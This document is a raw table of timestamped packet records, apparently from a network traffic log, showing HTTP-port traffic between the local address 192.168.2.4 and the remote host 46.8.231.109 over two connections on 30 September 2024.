Sep 30, 2024 12:22:55.228785038 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228797913 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228806019 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228807926 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228821039 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228828907 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228831053 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228837967 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228842974 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228853941 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228863955 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228864908 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228876114 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228885889 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228890896 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228897095 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228908062 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228909016 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228924036 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228950024 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.229278088 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.229290009 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.229307890 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.229316950 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.229320049 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.229334116 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.229358912 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.229365110 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.229376078 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.229404926 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.289588928 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.295718908 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469439030 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469477892 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469487906 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469499111 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469521046 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469532967 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469537973 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469544888 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469556093 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469563007 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469568014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469594955 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469611883 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469618082 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469629049 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469640017 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469651937 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469652891 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469665051 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469682932 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469738960 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469753981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469765902 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469769001 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469778061 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469796896 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469827890 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469834089 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469840050 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469851971 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469862938 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469865084 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469875097 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469877005 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469893932 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469922066 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469945908 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469955921 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469968081 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469976902 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.469980955 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.469995975 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470020056 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470371962 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470417023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470448971 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470459938 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470479012 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470504045 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470510960 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470520973 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470541000 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470563889 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470659971 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470670938 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470680952 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470690966 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470701933 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470701933 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470712900 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470726967 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470747948 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470897913 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470907927 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470918894 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470930099 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470932961 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470941067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470951080 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470958948 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470968962 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470978975 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470979929 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.470988989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.470999002 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471003056 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471009970 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471020937 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471023083 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471055984 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471266031 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471286058 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471297026 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471307039 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471316099 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471326113 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471328974 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471337080 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471347094 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471357107 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471357107 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471371889 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471375942 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471388102 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471398115 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471407890 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471415043 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471425056 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471426010 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471438885 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471448898 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471452951 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471462011 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471472025 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471472979 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471482038 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471488953 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471492052 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471504927 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471510887 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471514940 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471525908 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471532106 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471538067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471548080 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471577883 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471607924 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471620083 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471630096 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471642017 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471648932 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471663952 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471690893 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471715927 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471728086 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471738100 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471749067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471759081 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471781969 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471791983 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471854925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471867085 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471878052 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471889019 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471893072 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471900940 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471911907 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471923113 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.471930027 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.471976042 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472043037 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472059011 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472069025 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472079992 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472090960 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472093105 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472100973 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472110987 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472121000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472130060 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472132921 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472143888 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472155094 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472161055 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472165108 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472176075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472187996 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472206116 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472336054 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472346067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472356081 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472366095 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472377062 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472387075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472394943 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472413063 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472430944 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472480059 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472522020 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472522020 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472532988 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472548008 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472579956 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472590923 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.472619057 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472631931 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.472717047 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.479367018 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.484297037 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.484791040 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.484946966 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.489886999 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.103802919 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.103851080 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.103863001 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.103880882 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.103892088 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.103903055 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.103914976 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.103912115 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.103971004 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.103971004 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.103971004 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.103998899 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.104011059 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.104034901 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.104060888 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.104085922 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.108805895 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.108841896 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.108853102 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.108853102 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.108896017 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.194353104 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.194370985 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.194382906 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.194395065 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.194436073 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.194473028 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.194489002 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.194542885 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.194554090 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.194586039 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.194592953 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.194602966 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.194633007 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.194636106 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.194648981 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.194699049 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.195482969 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.195496082 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.195507050 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.195564032 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.195595026 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.195601940 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.195606947 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.195620060 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.195648909 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.195672989 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.196477890 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.196490049 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.196501970 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.196542025 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.196556091 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.196568966 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.196571112 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.196583033 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.196609020 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.196633101 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.197352886 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.197707891 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.199342966 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.199353933 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.199405909 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.284869909 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.284883022 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.284899950 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.284912109 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.284923077 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.284934044 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.284938097 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.284945965 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.284964085 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.284980059 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.284992933 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.284996986 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285010099 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285052061 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.285058022 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285068989 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285083055 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285095930 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.285108089 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.285125971 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.285567045 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285614967 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.285617113 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285629988 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285657883 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.285670042 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285676956 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.285681963 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285722971 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.285932064 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285975933 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.285980940 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.285989046 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286016941 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.286032915 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.286060095 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286071062 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286081076 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286092997 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286109924 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.286124945 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.286176920 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286190033 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286199093 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286225080 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.286241055 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.286662102 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286700010 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286710978 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286732912 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.286757946 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.286788940 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286799908 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286815882 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286827087 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286844015 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.286859035 CEST	52542	80	192.168.2.4	46.8.231.109
